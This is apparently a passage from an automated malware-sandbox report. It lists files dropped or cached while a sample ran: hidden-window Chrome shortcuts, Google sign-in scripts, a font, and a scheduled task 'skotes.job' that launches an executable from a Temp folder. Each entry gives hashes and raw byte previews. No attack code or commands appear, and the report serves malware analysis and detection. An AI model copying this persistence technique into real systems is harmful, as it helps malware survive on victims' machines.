Preview:	L..................F.@.. ...$+.,.....O.`3...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ICYf.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYf.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYf.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYf............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYh............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y.L}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 00:27:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9839918023823837
Encrypted:	false
SSDEEP:	48:8edWTSiiHGeidAKZdA1weh/iZUkAQkqehIy+2:8XLM9Qdy
MD5:	B5C70379EDFD46CCFD5249439B5CA308
SHA1:	7941334FD409E5BE83EB29E1FF9C4F7C5596448F
SHA-256:	A93A226F878EDD4FA7FFC9D29F5F92B43501FC11E728FE3C7A2C21426E0E2B4D
SHA-512:	173C4E9F8A2A1D29C78F09AC866AEFAF47728426234274DFC6C2A860385034D4898EBA570D9513FB092EDA95EA045E36365CBA6875899C51B1CA979439FC3EDC
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Q.`3...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ICYf.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYf.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYf.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYf............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYh............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y.L}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.998811142079667
Encrypted:	false
SSDEEP:	48:8xjdWTSisHGeidAKZdA14tseh7sFiZUkmgqeh7smy+BX:8xILen8y
MD5:	75D524EFC3F6394CECA89C55D43A66BB
SHA1:	E51E9C97A6AAF71B494791DE6F30D22770F6DBF8
SHA-256:	61B14E01B61DF927F5F78F5B534696D34D43BDB95B3D9921375AD8D3649ACE05
SHA-512:	6041EBF8DA94690030F06EE902FD5D6D7D517B7BD785F381CAFD3831CBE54C3CDE64AAD00190765DD8BEF12CD4D24166B7A4FABB4332206BCF8CE5E531026615
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ICYf.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYf.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYf.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYf............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y.L}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 00:27:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.98342652061712
Encrypted:	false
SSDEEP:	48:8VdWTSiiHGeidAKZdA1vehDiZUkwqehUy+R:8OL3ey
MD5:	1309B7B99F75B0A3E4B43E463D975FCC
SHA1:	6AC7CDFD6EBFF6150C9F53D3B9110001177031F5
SHA-256:	64F06345D4339A7DA3D14D7BBC1DB3FFDC65D9FA4AF920F6AB178BCC72A98A8B
SHA-512:	4B7EBC2C9CEEF0C1ABE0B7B2285F83B0907123C758504B6B06EAECB0352B63370905BB3AA1D8312B5F7A0486E95DBBB4F8CF1CE8609FDB19774A6B29DEC1E6D0
Malicious:	false
Preview:	L..................F.@.. ...$+.,......`3...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ICYf.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYf.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYf.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYf............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYh............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y.L}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 00:27:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9709866309806134
Encrypted:	false
SSDEEP:	48:8BdWTSiiHGeidAKZdA1hehBiZUk1W1qehKy+C:8iLH9qy
MD5:	F665F42F140D33128FEFB723244FA878
SHA1:	02175716FFCFC5DF668521B55CD819EB5FFFB242
SHA-256:	8A688E85EB9CEFE029C739AF864418E1AC80A48EEC91BAA15D01C3F453DFBBE2
SHA-512:	F7FD12F0EBD45ED8BA8A093664739975AFDB5FC28399271D2AC4EEA3438DEBAD9B62B1E5291F0435CEADB593540609917252527B3F2B590C56E731C241F207B0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....6..`3...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ICYf.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYf.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYf.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYf............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYh............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y.L}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 00:27:14 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9833283669377777
Encrypted:	false
SSDEEP:	48:8UdWTSiiHGeidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb8y+yT+:8pLPT/TbxWOvTb8y7T
MD5:	2DFE1B32908A6876A02D74A14B589804
SHA1:	04DE1AE0566CA31A43C6D2283556D9BB0800C35C
SHA-256:	38EE73440A3EBFE0BF6E44AD306748F619426680E43E4C6239E1EE4C639B2C90
SHA-512:	5EDA3D9E67FA3DF58EB29C8B2A416AADC1A7D0276A4E15C3F291F7ABD3A2F5CB13A22D4F91E4E981D4B75DC6613D8ED19D365F523A88FD6BB07F6D7D4F7784C1
Malicious:	false
Preview:	L..................F.@.. ...$+.,......`3...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ICYf.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCYf.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCYf.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCYf............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VCYh............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y.L}.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.429137297748518
Encrypted:	false
SSDEEP:	6:jclTX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0loxt0:jSuQ1CGAFifXVyt0
MD5:	308EA626F64EA92E42124E3379C6F764
SHA1:	95D93F027F65881136B2836011930C54CE582017
SHA-256:	1D7B1E168ECA50C0A9098F70F1D24E9B715E4F3A4FA6DC88CDD806E00F9C1842
SHA-512:	79B211ADB0076F32EB3D2BE25538FDD1D7A787CD905B003496FE2B25C2DE15A91BA2CC4A10F675F4ADAE4531DA9110F3D45E61803C06AF2EE76063776BBE21C9
Malicious:	false
Preview:	.......c..@.z..\|...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (553)
Category:	downloaded
Size (bytes):	744362
Entropy (8bit):	5.7913337944729175
Encrypted:	false
SSDEEP:	6144:HVXWBQkPdzg5pTX1ROv/duPzd8C3s891/Q:gfd8j91/Q
MD5:	C6E31A4B08FC2DF9191AA47785B3FB31
SHA1:	5094D16F35D927EBE73D715F95E199BB2112BFA6
SHA-256:	67CA532191F69C2FF20D2A015493D6A4AB7ADC9C584A86F1E10E272FD72100E9
SHA-512:	6C6E78717D44F86CA4FBCA84534810D6432913D9D61BC13FE010D03775F6FE5C4705B4D1965641C858DE68DBA7D1B306CE12FF62E4C38995C1EE3EA0541F9565
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.RgRbaBHDctU.es5.O/am=xIFgKBi2EQjEH54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHMmP29tNFN_V7bhU8rapgP9PTgBw/m=_b,_tp"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x286081c4, 0x2046d860, 0x39e1fc40, 0x14501e80, 0xe420, 0x0, 0x1a000000, 0x1d000003, 0xc, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT././. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var baa,daa,Ma,Sa,gaa,iaa,jb,qaa,waa,Caa,Haa,Kaa,Jb,Laa,Ob,Qb,Rb,Maa,Naa,Sb,Oaa,Paa,Qaa,Yb,Vaa,Xaa,ec,fc,gc,bba,cba,gba,jba,lba,mba,qba,tba,nba,sba,rba,pba,oba,uba,yba,Cba,Dba,Aba,Hc,Ic,Gba,Iba,Mba,Nba,Oba,Pba,Lba,Qba,Sba,dd,Uba,Vba,Xba,Zba,Yba,aca,bca,cca,dca,fca,eca,hca,ica,jca,kca,nca,

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (533)
Category:	downloaded
Size (bytes):	9210
Entropy (8bit):	5.404371326611379
Encrypted:	false
SSDEEP:	192:EEFZpeip4HzZlY0If0Ma23jcUcrhCx6VD1TYPi8:Es/p4jgjUhtD1TY68
MD5:	21E893B65627B397E22619A9F5BB9662
SHA1:	F561B0F66211C1E7B22F94B4935C312AB7087E85
SHA-256:	FFA9B8BC8EF2CDFF5EB4BA1A0BA1710A253A5B42535E2A369D5026967DCF4673
SHA-512:	3DE3CD6A4E9B06AB3EB324E90A40B5F2AEEA8D7D6A2651C310E993CF79EEB5AC6E2E33C587F46B2DD20CC862354FD1A61AEBB9B990E6805F6629404BA285F8FA
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.RgRbaBHDctU.es5.O/ck=boq-identity.AccountsSignInUi.gAiX_O5afVA.L.B1.O/am=xIFgKBi2EQjEH54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=AvtSve,CMcBD,EFQ78c,EIOG1e,EN3i8d,Fndnac,GwYlN,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,MY7mZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PrPYRd,Rkm0ef,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,WpP9Yc,XVq9Qb,YHI3We,YTxL4,ZakeSe,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,byfTOb,cYShmd,eVCnO,gJzDyc,hc6Ubd,inNHtf,iyZMqd,lsjVmc,lwddkf,m9oV,mvkUhe,mzzZzc,n73qwf,njlZCf,oLggrd,qPfo0c,qmdT9,rCcCxc,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,vvMGie,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFteMt5kl2HRMM5sgqzMrw2LMDjOg/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,SD8Jgb,rmumx,E87wgc,qPYxq,Tbb4sb,pxq3x,f8Gu1e,soHxf,YgOFye,yRXbo,bTi8wc,ywOR5c,PHUIyb"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.qNa=_.y("SD8Jgb",[]);._.GX=function(a,b){if(typeof b==="string")a.Lc(b);else if(b instanceof _.Fp&&b.ia&&b.ia===_.A)b=_.Ya(b.Lw()),a.empty().append(b);else if(b instanceof _.Ua)b=_.Ya(b),a.empty().append(b);else if(b instanceof Node)a.empty().append(b);else throw Error("Vf");};_.HX=function(a){var b=_.Io(a,"[jsslot]");if(b.size()>0)return b;b=new _.Go([_.Kk("span")]);_.Jo(b,"jsslot","");a.empty().append(b);return b};_.NLb=function(a){return a===null\|\|typeof a==="string"&&_.Hi(a)};._.k("SD8Jgb");._.MX=function(a){_.X.call(this,a.Fa);this.Ua=a.controller.Ua;this.od=a.controllers.od[0]\|\|null;this.header=a.controller.header;this.nav=a.controller.nav;var b;(b=this.oa().find("button:not([type])").el())==null\|\|b.setAttribute("type","button")};_.J(_.MX,_.X);_.MX.Ba=function(){return{controller:{Ua:{jsname:"n7vHCb",ctor:_.mv},header:{jsname:"tJHJj",ctor:_.mv},nav:{jsname:"DH6Rkf",ct

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5693)
Category:	downloaded
Size (bytes):	6004
Entropy (8bit):	5.4813300900682105
Encrypted:	false
SSDEEP:	96:UdlsK79bZOGBYzBJGIRpT1+TM7ntIC0qmjdxT9Du97MXLFJXNFegEDvr1fTW5:UPsqbVYz/GQpB+TKT0qmbTIGegE/1LC
MD5:	52BCAD268711C185F321483D65C30F8E
SHA1:	86905FBCB90B5A5FE9547F5931FC4CFD43A00D07
SHA-256:	C4F15AE71C86A801C261AC004A9EC4D2A1F0C899DD343609815E8166AF9A0531
SHA-512:	3FCE08859A08CF6965D0361409B5627FE4CF775CB952C75D45AB460DFE865B807B3F7871F2385D6A97384D81699C88A8578832FCDD6721F9EC221B6FEFF86BDB
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.RgRbaBHDctU.es5.O/ck=boq-identity.AccountsSignInUi.gAiX_O5afVA.L.B1.O/am=xIFgKBi2EQjEH54DekBRIOQAAAAAAAAAAKANAAB0DA/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlFteMt5kl2HRMM5sgqzMrw2LMDjOg/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,XVq9Qb,STuCOe,njlZCf,m9oV,vjKJJ,y5vRwf,iyZMqd,NTMZac,mzzZzc,rCcCxc,vvMGie,K1ZKnb,ziZ8Mc,b3kMqb,mvkUhe,CMcBD,Fndnac,t2srLd,EN3i8d,z0u0L,xiZRqc,NOeYWe,O6y8ed,L9OGUe,PrPYRd,MpJwZc,qPfo0c,cYShmd,hc6Ubd,Rkm0ef,KUM7Z,oLggrd,inNHtf,L1AAkb,WpP9Yc,lwddkf,gJzDyc,SpsfSb,aC1iue,tUnxGc,aW3pY,ZakeSe,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,MY7mZe,xBaz7b,GwYlN,eVCnO,EIOG1e,LDQI"
Preview:	"use strict";_F_installCss(".r4WGQb{position:relative}.Dl08I>:first-child{margin-top:0}.Dl08I>:last-child{margin-bottom:0}.IzwVE{color:#1f1f1f;color:var(--gm3-sys-color-on-surface,#1f1f1f);font-family:\"Google Sans\",roboto,\"Noto Sans Myanmar UI\",arial,sans-serif;font-size:1.25rem;font-weight:400;letter-spacing:0rem;line-height:1.2}.l5PPKe{color:#1f1f1f;color:var(--gm3-sys-color-on-surface,#1f1f1f);font-size:1rem}.l5PPKe .dMNVAe{margin:0;padding:0}.l5PPKe>:first-child{margin-top:0;padding-top:0}.l5PPKe>:last-child{margin-bottom:0;padding-bottom:0}.Dl08I{margin:0;padding:0;position:relative}.Dl08I>.SmR8:only-child{padding-top:1px}.Dl08I>.SmR8:only-child::before{top:0}.Dl08I>.SmR8:not(first-child){padding-bottom:1px}.Dl08I>.SmR8::after{bottom:0}.Dl08I>.SmR8:only-child::before,.Dl08I>.SmR8::after{border-bottom:1px solid #c4c7c5;border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5);content:\"\";height:0;left:0;position:absolute;width:100%}.aZvCDf{margin-top:8px;margin-left

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 52280, version 1.0
Category:	downloaded
Size (bytes):	52280
Entropy (8bit):	7.995413196679271
Encrypted:	true
SSDEEP:	1536:1rvqtK8DZilXxwJ8mMwAZy7phqsFLdG3B4d:xytBZits8bw4wzbFxG3B4d
MD5:	F61F0D4D0F968D5BBA39A84C76277E1A
SHA1:	AA3693EA140ECA418B4B2A30F6A68F6F43B4BEB2
SHA-256:	57147F08949ABABE7DEEF611435AE418475A693E3823769A25C2A39B6EAD9CCC
SHA-512:	6C3BD90F709BCF9151C9ED9FFEA55C4F6883E7FDA2A4E26BF018C83FE1CFBE4F4AA0DB080D6D024070D53B2257472C399C8AC44EEFD38B9445640EFA85D5C487
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2
Preview:	wOF2.......8.....................................^...$..4?HVAR..?MVAR9.`?STAT.',..J/.......`..(..Z.0..R.6.$.... .....K..[..q..c..T.....>.P.j.`.w..#...%......N.".....$..3.0.6......... .L.rX/r[j.y.\|(.4.%#.....2.v.m..-..%.....;-.Y.{..&..O=#l@...k..7g..ZI...#.Z./+T..r7...M..3).Z%.x....s..sL..[A!.51w'/.8V..2Z..%.X.h.o.).]..9..Q`.$.....7..kZ.~O........d..g.n.d.Rw+&....Cz..uy#..fz,(.J....v.%..`..9.....h...?O..:...c%.....6s....xl..#...5..._......1.>.)"U.4 W....?%......6//!$...!.n9C@n...........!""^.....W..Z<.7.x.."UT.T....E.."R>.R..t.....H d..e_.K../.+8.Q.P.ZQ....;...U....]......._.e......71.?.7.ORv.?...l...G\|.P...\|:...I.X..2.,.L........d.g.]}W#uW]QnuP-s.;.-Y.....].......C..j_.M0...y.......J..........NY..@A...,....-.F......'..w./j5g.vUS...U..0.&...y7.LP.....%.....Y......Y..D. e.A..G.?.$.......6...eaK.n5.m...N...,...+BCl..L> .E9~.b[.w.x....6<...}.e...%V....O.......*.?...a..#[eE.4..p..$...].....%......o._......N.._~..El....b..A.0.r8.....\|..D.d..

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1052)
Category:	downloaded
Size (bytes):	15735
Entropy (8bit):	5.379748303856836
Encrypted:	false
SSDEEP:	384:ekYlbuRO4Ntb0e39nKGrk7uyvGu+0sm/53uQpOLLSrpzICGiPZXk:zYlbuROstb0e39nKGrkysU0smpu4OLOA
MD5:	724F092447940164AA0F99463744BDE7
SHA1:	2C5FA9A07ED732D4A9F6800AD01DFC48C1929641
SHA-256:	4DFC04C5974127C6371A2F1F26BBC1F8CB28E5B3EF58A3941025AF4A144297A5
SHA-512:	F13CEE708DB2A4E7B4C8D117723644550691D4EF52AB00E6ACC441433DFA9E8C9F98395B99521870ADD074033B3250DCFDFA77965F22C06163FF9344166819CC
Malicious:	false
